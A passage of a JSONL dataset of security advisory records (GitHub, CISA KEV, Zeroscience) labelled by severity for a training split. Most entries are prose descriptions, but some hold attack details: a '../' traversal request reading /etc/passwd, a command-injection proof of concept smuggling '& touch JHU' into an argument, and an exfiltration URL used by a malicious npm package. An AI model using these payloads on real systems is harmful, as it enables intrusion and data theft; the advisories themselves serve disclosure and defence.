pull reportportal/service-api:5.4.0`\nhttps://github.com/reportportal/service-api/packages/846871?version=5.4.0\n\n### For more information\nIf you have any questions or comments about this advisory email us: [support@reportportal.io](mailto:support@reportportal.io)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-28", "split": "train"}
-{"id": "0c5aed3585f75e3a8875", "text": "Team Johnlong RaidenTunes 2.1.1 Remote Cross-Site Scripting Vulnerability", "text_raw": "Team Johnlong RaidenTunes 2.1.1 Remote Cross-Site Scripting Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2010-08-04", "split": "train"}
-{"id": "17d976c8694cd4516352", "text": "Command Injection in strapi\n\nVersions of `strapi` before 3.0.0-beta.17.8 are vulnerable to Command Injection. The package fails to sanitize plugin names in the `/admin/plugins/install/` route. This may allow an authenticated attacker with admin privileges to run arbitrary commands in the server.\n\n## Recommendation\n\nUpgrade to version 3.0.0-beta.17.8 or later", "text_raw": "Command Injection in strapi\n\n[Severity: HIGH]\n\nVersions of `strapi` before 3.0.0-beta.17.8 are vulnerable to Command Injection. The package fails to sanitize plugin names in the `/admin/plugins/install/` route. This may allow an authenticated attacker with admin privileges to run arbitrary commands in the server.\n\n\n## Recommendation\n\nUpgrade to version 3.0.0-beta.17.8 or later", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "b98466cfa4b74c254633", "text": "Microsoft Exchange Server Remote Code Execution Vulnerability\n\nAffected: Microsoft Exchange Server\n\nMicrosoft Exchange Server contains an unspecified vulnerability that allows for remote code execution. This vulnerability is part of the ProxyLogon exploit chain.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-39\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Exchange Server Remote Code Execution Vulnerability\n\nAffected: Microsoft Exchange Server\n\nMicrosoft Exchange Server contains an unspecified vulnerability that allows for remote code execution. This vulnerability is part of the ProxyLogon exploit chain.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-39\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "19fd6d4b990281cf42da", "text": "Denial of service in prismjs\n\nThe package prismjs before 1.23.0 are vulnerable to Regular Expression Denial of Service (ReDoS) via the `prism-asciidoc`, `prism-rest`, `prism-tap` and `prism-eiffel` components.", "text_raw": "Denial of service in prismjs\n\n[Severity: HIGH]\n\nThe package prismjs before 1.23.0 are vulnerable to Regular Expression Denial of Service (ReDoS) via the `prism-asciidoc`, `prism-rest`, `prism-tap` and `prism-eiffel` components.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-01", "split": "train"}
-{"id": "9d35601b73e697997ba7", "text": "Malicious Package in jquery-airload\n\nVersion 0.2.5 of `jquery-airload` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nRemove the package from your environment. It's also recommended to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 0.2.4", "text_raw": "Malicious Package in jquery-airload\n\n[Severity: CRITICAL]\n\nVersion 0.2.5 of `jquery-airload` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nRemove the package from your environment. It's also recommended to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 0.2.4", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "56f08bc0c7686bd4a4e0", "text": "Potential Remote Code Execution in TYPO3 with mediace extension\n\n### Problem\nIt has been discovered that an internal verification mechanism can be used to generate arbitrary checksums. This allows to inject arbitrary data having a valid cryptographic message authentication code (HMAC-SHA1) and can lead to various attack chains as described below.\n\n* [TYPO3-CORE-SA-2020-007](https://typo3.org/security/advisory/typo3-core-sa-2020-007), [CVE-2020-15099](https://nvd.nist.gov/vuln/detail/CVE-2020-15099): Potential Privilege Escalation\n  + the database server used for a TYPO3 installation must be accessible for an attacker (either via internet or shared hosting network)\n  + `` (7.5, high)\n* [TYPO3-CORE-SA-2016-013](https://typo3.org/security/advisory/typo3-core-sa-2016-013), [CVE-2016-5091](https://nvd.nist.gov/vuln/detail/CVE-2016-5091): Insecure Deserialization & Remote Code Execution\n  + an attacker must have access to at least one Extbase plugin or module action in a TYPO3 installation\n  + `` (9.1, critical)\n\n### Solution\nIn case the extension is not used and required at all, it is suggested to uninstall and remove it from the system completely. Otherwise, an updated version 7.6.5 is available from the TYPO3 extension manager, Packagist and the TYPO3 extension repository:\n\n* https://extensions.typo3.org/extension/download/mediace/7.6.5/zip/\n* https://packagist.org/packages/friendsoftypo3/mediace#7.6.5\n\nAs a precautionary measure it is advised to change `encryptionKey` and database credentials in `typo3conf/LocalConfiguration.php`.\n\n### Credits\nThanks to TYPO3 security team member Oliver Hader who reported and fixed the issue.\n\n### References\n* [TYPO3-EXT-SA-2020-014](https://typo3.org/security/advisory/typo3-ext-sa-2020-014)", "text_raw": "Potential Remote Code Execution in TYPO3 with mediace extension\n\n[Severity: CRITICAL]\n\n> ### Meta\n> * CVSS: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C` (9.1)\n> * CWE-325, CWE-20, CWE-200, CWE-502\n\n### Problem\nIt has been discovered that an internal verification mechanism can be used to generate arbitrary checksums. This allows to inject arbitrary data having a valid cryptographic message authentication code (HMAC-SHA1) and can lead to various attack chains as described below.\n\n* [TYPO3-CORE-SA-2020-007](https://typo3.org/security/advisory/typo3-core-sa-2020-007), [CVE-2020-15099](https://nvd.nist.gov/vuln/detail/CVE-2020-15099): Potential Privilege Escalation\n  + the database server used for a TYPO3 installation must be accessible for an attacker (either via internet or shared hosting network)\n  + `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C` (7.5, high)\n* [TYPO3-CORE-SA-2016-013](https://typo3.org/security/advisory/typo3-core-sa-2016-013), [CVE-2016-5091](https://nvd.nist.gov/vuln/detail/CVE-2016-5091): Insecure Deserialization & Remote Code Execution\n  + an attacker must have access to at least one Extbase plugin or module action in a TYPO3 installation\n  + `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C` (9.1, critical)\n\nThe overall severity of this vulnerability is critical (9.1) based on mentioned attack chains and the fact it does not require any privileges.\n\n### Solution\nIn case the extension is not used and required at all, it is suggested to uninstall and remove it from the system completely. Otherwise, an updated version 7.6.5 is available from the TYPO3 extension manager, Packagist and the TYPO3 extension repository:\n\n* https://extensions.typo3.org/extension/download/mediace/7.6.5/zip/\n* https://packagist.org/packages/friendsoftypo3/mediace#7.6.5\n\nAs a precautionary measure it is advised to change `encryptionKey` and database credentials in `typo3conf/LocalConfiguration.php`.\n\n### Credits\nThanks to TYPO3 security team member Oliver Hader who reported and fixed the issue.\n\n### References\n* [TYPO3-EXT-SA-2020-014](https://typo3.org/security/advisory/typo3-ext-sa-2020-014)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-07-29", "split": "train"}
-{"id": "a055b079052a4a1bd0db", "text": "Pyopenssl Incorrect Memory Management\n\nIt was discovered that pyOpenSSL incorrectly handled memory when performing operations on a PKCS #12 store. A remote attacker could possibly use this issue to cause pyOpenSSL to consume resources, resulting in a denial of service.\n\nThis attack appear to be exploitable via Depends upon calling application, however it could be as simple as initiating a TLS connection that would cause the calling application to reload certificates from a PKCS #12 store. This vulnerability appears to have been fixed in 17.5.0.", "text_raw": "Pyopenssl Incorrect Memory Management\n\n[Severity: HIGH]\n\nIt was discovered that pyOpenSSL incorrectly handled memory when performing operations on a PKCS #12 store. A remote attacker could possibly use this issue to cause pyOpenSSL to consume resources, resulting in a denial of service.\n\nThis attack appear to be exploitable via Depends upon calling application, however it could be as simple as initiating a TLS connection that would cause the calling application to reload certificates from a PKCS #12 store. This vulnerability appears to have been fixed in 17.5.0.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-10", "split": "train"}
-{"id": "430a97e75473fcfa5bb6", "text": "Withdrawn Advisory: mariadb was malware\n\n# Withdrawn Advisory\n\nThis advisory has been withdrawn because MariaDB now owns https://www.npmjs.com/package/mariadb and the package is no longer malicious. This link is maintained to preserve external references.\n\n# Original Description\n\nThe `mariadb` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "Withdrawn Advisory: mariadb was malware\n\n[Severity: HIGH]\n\n# Withdrawn Advisory\n\nThis advisory has been withdrawn because MariaDB now owns https://www.npmjs.com/package/mariadb and the package is no longer malicious. This link is maintained to preserve external references.\n\n# Original Description\n\nThe `mariadb` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-18", "split": "train"}
-{"id": "4bcba40bb1a3eafa818c", "text": "Zortam MP3 Player 1.50 (m3u) Integer Division by Zero Exploit", "text_raw": "Zortam MP3 Player 1.50 (m3u) Integer Division by Zero Exploit\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2009-07-16", "split": "train"}
-{"id": "4b06f2654a0dc5ea57d9", "text": "Microsoft Windows Group Policy Preferences Password Privilege Escalation Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows Active Directory contains a privilege escalation vulnerability due to the way it distributes passwords that are configured using Group Policy preferences. An authenticated attacker who successfully exploits the vulnerability could decrypt the passwords and use them to elevate privileges on the domain.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-255\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Windows Group Policy Preferences Password Privilege Escalation Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows Active Directory contains a privilege escalation vulnerability due to the way it distributes passwords that are configured using Group Policy preferences. An authenticated attacker who successfully exploits the vulnerability could decrypt the passwords and use them to elevate privileges on the domain.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-255\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "26d5c613377e58d2b26d", "text": "Cross-site Scripting in docsify\n\ndocsify prior to 4.11.4 is susceptible to Cross-site Scripting (XSS). Docsify.js uses fragment identifiers (parameters after # sign) to load resources from server-side .md files. Due to lack of validation here, it is possible to provide external URLs after the /#/ (domain.com/#//attacker.com) and render arbitrary JavaScript/HTML inside docsify page.", "text_raw": "Cross-site Scripting in docsify\n\n[Severity: MEDIUM]\n\ndocsify prior to 4.11.4 is susceptible to Cross-site Scripting (XSS). Docsify.js uses fragment identifiers (parameters after # sign) to load resources from server-side .md files. Due to lack of validation here, it is possible to provide external URLs after the /#/ (domain.com/#//attacker.com) and render arbitrary JavaScript/HTML inside docsify page.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "b21b6dd0de139b8f6d0c", "text": "Roundcube Webmail File Disclosure Vulnerability\n\nAffected: Roundcube Roundcube Webmail\n\nRoundcube Webmail contains a file disclosure vulnerability caused by insufficient input validation in conjunction with file-based attachment plugins, which are used by default.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-552\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Roundcube Webmail File Disclosure Vulnerability\n\nAffected: Roundcube Roundcube Webmail\n\nRoundcube Webmail contains a file disclosure vulnerability caused by insufficient input validation in conjunction with file-based attachment plugins, which are used by default.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-552\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "81ef7994833cb5514dfc", "text": "iniNet SpiderControl SCADA Web Server Service 2.02 Insecure File Permissions", "text_raw": "iniNet SpiderControl SCADA Web Server Service 2.02 Insecure File Permissions\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2015-12-06", "split": "train"}
-{"id": "740830158c4bd63948a9", "text": "Directory Traversal in tmock\n\n`tmock` is a static file server.\n\n`tmock` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing \"../\" in the url.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost: localhost\n```\n and server Response:\n```http\nHTTP/1.1 200 OK\nDate: Thu, 04 May 2017 23:59:18 GMT\nConnection: keep-alive\nTransfer-Encoding: chunked\n\n{contents of /etc/passwd}\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in tmock\n\n[Severity: HIGH]\n\n`tmock` is a static file server.\n\n`tmock` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing \"../\" in the url.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost: localhost\n```\n and server Response:\n```http\nHTTP/1.1 200 OK\nDate: Thu, 04 May 2017 23:59:18 GMT\nConnection: keep-alive\nTransfer-Encoding: chunked\n\n{contents of /etc/passwd}\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "245c3c3315d57aafc60e", "text": "Potential Observable Timing Discrepancy in Wagtail\n\n### Impact\nA potential timing attack exists on pages or documents that have been protected with a shared password through Wagtail's \"Privacy\" controls. This password check is performed through a character-by-character string comparison, and so an attacker who is able to measure the time taken by this check to a high degree of accuracy could potentially use timing differences to gain knowledge of the password. (This is [understood to be feasible on a local network, but not on the public internet](https://groups.google.com/d/msg/django-developers/iAaq0pvHXuA/fpUuwjK3i2wJ).)\n\nPrivacy settings that restrict access to pages / documents on a per-user or per-group basis (as opposed to a shared password) are unaffected by this vulnerability.\n\n### Patches\nPatched versions have been released as Wagtail 2.7.3 (for the LTS 2.7 branch), Wagtail 2.8.2 and Wagtail 2.9.\n\n### Workarounds\nSite owners who are unable to upgrade to the new versions can use [user- or group-based privacy restrictions](https://docs.wagtail.io/en/stable/advanced_topics/privacy.html) to restrict access to sensitive information; these are unaffected by this vulnerability.", "text_raw": "Potential Observable Timing Discrepancy in Wagtail\n\n[Severity: MEDIUM]\n\n### Impact\nA potential timing attack exists on pages or documents that have been protected with a shared password through Wagtail's \"Privacy\" controls. This password check is performed through a character-by-character string comparison, and so an attacker who is able to measure the time taken by this check to a high degree of accuracy could potentially use timing differences to gain knowledge of the password. (This is [understood to be feasible on a local network, but not on the public internet](https://groups.google.com/d/msg/django-developers/iAaq0pvHXuA/fpUuwjK3i2wJ).)\n\nPrivacy settings that restrict access to pages / documents on a per-user or per-group basis (as opposed to a shared password) are unaffected by this vulnerability.\n\n### Patches\nPatched versions have been released as Wagtail 2.7.3 (for the LTS 2.7 branch), Wagtail 2.8.2 and Wagtail 2.9.\n\n### Workarounds\nSite owners who are unable to upgrade to the new versions can use [user- or group-based privacy restrictions](https://docs.wagtail.io/en/stable/advanced_topics/privacy.html) to restrict access to sensitive information; these are unaffected by this vulnerability.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-05-07", "split": "train"}
-{"id": "a735abed5be974dc9f7c", "text": "Command Injection in geojson2kml\n\nAll versions up to and including version 0.1.1 of package geojson2kml are vulnerable to Command Injection via the index.js file.\n\n### PoC: \n```js\nvar a =require(\"geojson2kml\"); \na(\"./\",\"& touch JHU\",function(){})\n```", "text_raw": "Command Injection in geojson2kml\n\n[Severity: CRITICAL]\n\nAll versions up to and including version 0.1.1 of package geojson2kml are vulnerable to Command Injection via the index.js file. \n\n### PoC: \n```js\nvar a =require(\"geojson2kml\"); \na(\"./\",\"& touch JHU\",function(){})\n```", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "e220e796419ec4630472", "text": "DNN (aka DotNetNuke) before 9.2.0 suffers from a Server-Side Request Forgery (SSRF) vulnerability in the DnnImageHandler class. Attackers may be able to access information about internal network resources.", "text_raw": "High severity vulnerability that affects DotNetNuke.Core\n\n[Severity: HIGH]\n\nDNN (aka DotNetNuke) before 9.2.0 suffers from a Server-Side Request Forgery (SSRF) vulnerability in the DnnImageHandler class. Attackers may be able to access information about internal network resources.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "29e2c9a2b61c00a74ef5", "text": "DOM-based XSS in gmail-js\n\nAffected versions of `gmail-js` are vulnerable to cross-site scripting in the `tools.parse_response`, `helper.get.visible_emails_post`, and `helper.get.email_data_post` functions, which pass user input directly into the Function constructor.\n\n## Recommendation\n\nUpdate to version 0.6.5 or later.", "text_raw": "DOM-based XSS in gmail-js\n\n[Severity: HIGH]\n\nAffected versions of `gmail-js` are vulnerable to cross-site scripting in the `tools.parse_response`, `helper.get.visible_emails_post`, and `helper.get.email_data_post` functions, which pass user input directly into the Function constructor.\n\n\n\n## Recommendation\n\nUpdate to version 0.6.5 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "cb20a1201a51c2af0c22", "text": "Out-of-bounds Read in OpenCV\n\nAn out-of-bounds read was discovered in OpenCV before 4.1.1 (OpenCV-Python before 4.1.0.25). Specifically, variable coarsest_scale is assumed to be greater than or equal to finest_scale within the calc()/ocl_calc() functions in dis_flow.cpp. However, this is not true when dealing with small images, leading to an out-of-bounds read of the heap-allocated arrays Ux and Uy.", "text_raw": "Out-of-bounds Read in OpenCV\n\n[Severity: MEDIUM]\n\nAn out-of-bounds read was discovered in OpenCV before 4.1.1 (OpenCV-Python before 4.1.0.25). Specifically, variable coarsest_scale is assumed to be greater than or equal to finest_scale within the calc()/ocl_calc() functions in dis_flow.cpp. However, this is not true when dealing with small images, leading to an out-of-bounds read of the heap-allocated arrays Ux and Uy.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "373bd13adb5d52164bd6", "text": "Doorkeeper subject to Incorrect Permission Assignment\n\nDoorkeeper version 4.2.0 and later contains a Incorrect Access Control vulnerability in Token revocation API's authorized method that can result in Access tokens are not revoked for public OAuth apps, leaking access until expiry.", "text_raw": "Doorkeeper subject to Incorrect Permission Assignment\n\n[Severity: HIGH]\n\nDoorkeeper version 4.2.0 and later contains a Incorrect Access Control vulnerability in Token revocation API's authorized method that can result in Access tokens are not revoked for public OAuth apps, leaking access until expiry.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-13", "split": "train"}
-{"id": "d4230ac51c3a60620e2c", "text": "Exposure of Sensitive Information to an Unauthorized Actor in Apache Spark\n\nIn Apache Spark 1.0.0 to 2.1.2, 2.2.0 to 2.2.1, and 2.3.0, when using PySpark or SparkR, it's possible for a different local user to connect to the Spark application and impersonate the user running the Spark application.", "text_raw": "Exposure of Sensitive Information to an Unauthorized Actor in Apache Spark\n\n[Severity: MEDIUM]\n\nIn Apache Spark 1.0.0 to 2.1.2, 2.2.0 to 2.2.1, and 2.3.0, when using PySpark or SparkR, it's possible for a different local user to connect to the Spark application and impersonate the user running the Spark application.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-03-14", "split": "train"}
-{"id": "5021c225a6c111d4a947", "text": "Edit template, Remote Code Execution (RCE) Vulnerability in Latest Release 4.4.0\n\nbaserCMS 4.4.0 and earlier is affected by Remote Code Execution (RCE).\n\nImpact: XSS via Arbitrary script execution.\nAttack vector is: Administrator must be logged in.\nComponents are: Edit template.\nTested baserCMS Version : 4.4.0 (Latest)\nAffected baserCMS Version : 4.0.0 ~ 4.4.0\nPatches : https://basercms.net/security/20201029\nFound by Aquilao Null", "text_raw": "Edit template, Remote Code Execution (RCE) Vulnerability in Latest Release 4.4.0\n\n[Severity: HIGH]\n\nbaserCMS 4.4.0 and earlier is affected by Remote Code Execution (RCE).\n\nImpact: XSS via Arbitrary script execution.\nAttack vector is: Administrator must be logged in.\nComponents are: Edit template.\nTested baserCMS Version : 4.4.0 (Latest)\nAffected baserCMS Version : 4.0.0 ~ 4.4.0\nPatches : https://basercms.net/security/20201029\nFound by Aquilao Null", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-10-30", "split": "train"}
-{"id": "7183a4582a740160abba", "text": "Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway CSRF Vulnerabilities", "text_raw": "Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway CSRF Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2018-07-17", "split": "train"}
-{"id": "5ebd8271792932f35f43", "text": "Cross-Site Request Forgery in firefly-iii\n\nfirefly-iii is vulnerable to Cross-Site Request Forgery (CSRF).", "text_raw": "Cross-Site Request Forgery in firefly-iii\n\n[Severity: MEDIUM]\n\nfirefly-iii is vulnerable to Cross-Site Request Forgery (CSRF).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-28", "split": "train"}
-{"id": "32fc322785a4d659538a", "text": "will_paginate Cross-site Scripting vulnerability\n\nCross-site scripting (XSS) vulnerability in the will_paginate gem before 3.0.5 for Ruby allows remote attackers to inject arbitrary web script or HTML via vectors involving generated pagination links.", "text_raw": "will_paginate Cross-site Scripting vulnerability\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in the will_paginate gem before 3.0.5 for Ruby allows remote attackers to inject arbitrary web script or HTML via vectors involving generated pagination links.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "79d5b8f3e9af61cf7b58", "text": "Withdrawn, accidental duplicate publish.\n\nThe Zip::File component in the rubyzip gem before 1.2.1 for Ruby has a directory traversal vulnerability. If a site allows uploading of .zip files, an attacker can upload a malicious file that uses \"../\" pathname substrings to write arbitrary files to the filesystem.", "text_raw": "High severity vulnerability that affects rubyzip\n\n[Severity: HIGH]\n\nWithdrawn, accidental duplicate publish.\r\n\r\nThe Zip::File component in the rubyzip gem before 1.2.1 for Ruby has a directory traversal vulnerability. If a site allows uploading of .zip files, an attacker can upload a malicious file that uses \"../\" pathname substrings to write arbitrary files to the filesystem.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-31", "split": "train"}
-{"id": "7a03fbc5dc7a199d8646", "text": "Denial of service in tensorflow-lite\n\n### Impact\nIn TensorFlow Lite models using segment sum can trigger a denial of service by causing an out of memory allocation in the implementation of segment sum. Since code uses the last element of the tensor holding them to determine the dimensionality of output tensor, attackers can use a very large value to trigger a large allocation:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/lite/kernels/segment_sum.cc#L39-L44\n\n### Patches\nWe have patched the issue in 204945b and will release patch releases for all affected versions.\n\nWe recommend users to upgrade to TensorFlow 2.2.1, or 2.3.1.\n\n### Workarounds\nA potential workaround would be to add a custom `Verifier` to limit the maximum value in the segment ids tensor. This only handles the case when the segment ids are stored statically in the model, but a similar validation could be done if the segment ids are generated at runtime, between inference steps.\n\nHowever, if the segment ids are generated as outputs of a tensor during inference steps, then there are no possible workaround and users are advised to upgrade to patched code.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been discovered from a variant analysis of [GHSA-p2cq-cprg-frvm](https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p2cq-cprg-frvm).", "text_raw": "Denial of service in tensorflow-lite\n\n[Severity: MEDIUM]\n\n### Impact\nIn TensorFlow Lite models using segment sum can trigger a denial of service by causing an out of memory allocation in the implementation of segment sum. Since code uses the last element of the tensor holding them to determine the dimensionality of output tensor, attackers can use a very large value to trigger a large allocation:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/lite/kernels/segment_sum.cc#L39-L44\n\n### Patches\nWe have patched the issue in 204945b and will release patch releases for all affected versions.\n\nWe recommend users to upgrade to TensorFlow 2.2.1, or 2.3.1.\n\n### Workarounds\nA potential workaround would be to add a custom `Verifier` to limit the maximum value in the segment ids tensor. This only handles the case when the segment ids are stored statically in the model, but a similar validation could be done if the segment ids are generated at runtime, between inference steps.\n\nHowever, if the segment ids are generated as outputs of a tensor during inference steps, then there are no possible workaround and users are advised to upgrade to patched code.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been discovered from a variant analysis of [GHSA-p2cq-cprg-frvm](https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p2cq-cprg-frvm).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-25", "split": "train"}
-{"id": "182a3a00dad1a979913d", "text": "Communities and collections administrators can escalate their privilege up to system administrator\n\n### Impact\nAny community or collection administrator can escalate their permission up to become system administrator.\n\nThis vulnerability only existed in 7.0 and does not impact 6.x or below.\n\n### Patches\nFix is included in [7.1](https://github.com/DSpace/DSpace/releases/tag/dspace-7.1). Please upgrade to 7.1 at your earliest convenience.\n\n### Workarounds\nIn 7.0, temporarily disable the ability for community or collection administrators to manage permissions or workflows settings, i.e. set the following properties in your local.cfg / dspace.cfg file\n```\ncore.authorization.collection-admin.policies = false\ncore.authorization.community-admin.policies = false\ncore.authorization.community-admin.collection.workflows = false\n```\nOnce upgraded to 7.1, these settings can be safely reverted to the default values of `true`.\n\n### References\nDiscovered during investigation of https://github.com/DSpace/DSpace/issues/7928\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at security@dspace.org", "text_raw": "Communities and collections administrators can escalate their privilege up to system administrator\n\n[Severity: HIGH]\n\n### Impact\nAny community or collection administrator can escalate their permission up to become system administrator.\n\nThis vulnerability only existed in 7.0 and does not impact 6.x or below.\n\n### Patches\nFix is included in [7.1](https://github.com/DSpace/DSpace/releases/tag/dspace-7.1). Please upgrade to 7.1 at your earliest convenience.\n\n### Workarounds\nIn 7.0, temporarily disable the ability for community or collection administrators to manage permissions or workflows settings, i.e. set the following properties in your local.cfg / dspace.cfg file\n```\ncore.authorization.collection-admin.policies = false\ncore.authorization.community-admin.policies = false\ncore.authorization.community-admin.collection.workflows = false\n```\nOnce upgraded to 7.1, these settings can be safely reverted to the default values of `true`.\n\n### References\nDiscovered during investigation of https://github.com/DSpace/DSpace/issues/7928\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at security@dspace.org\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-01", "split": "train"}
-{"id": "474a917caabfb99b2ba1", "text": "Improper rate limiting in Koel\n\nKoel before 5.1.4 lacks login throttling, lacks a password strength policy, and shows whether a failed login attempt had a valid username. This might make brute-force attacks easier.", "text_raw": "Improper rate limiting in Koel\n\n[Severity: HIGH]\n\nKoel before 5.1.4 lacks login throttling, lacks a password strength policy, and shows whether a failed login attempt had a valid username. This might make brute-force attacks easier.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-01", "split": "train"}
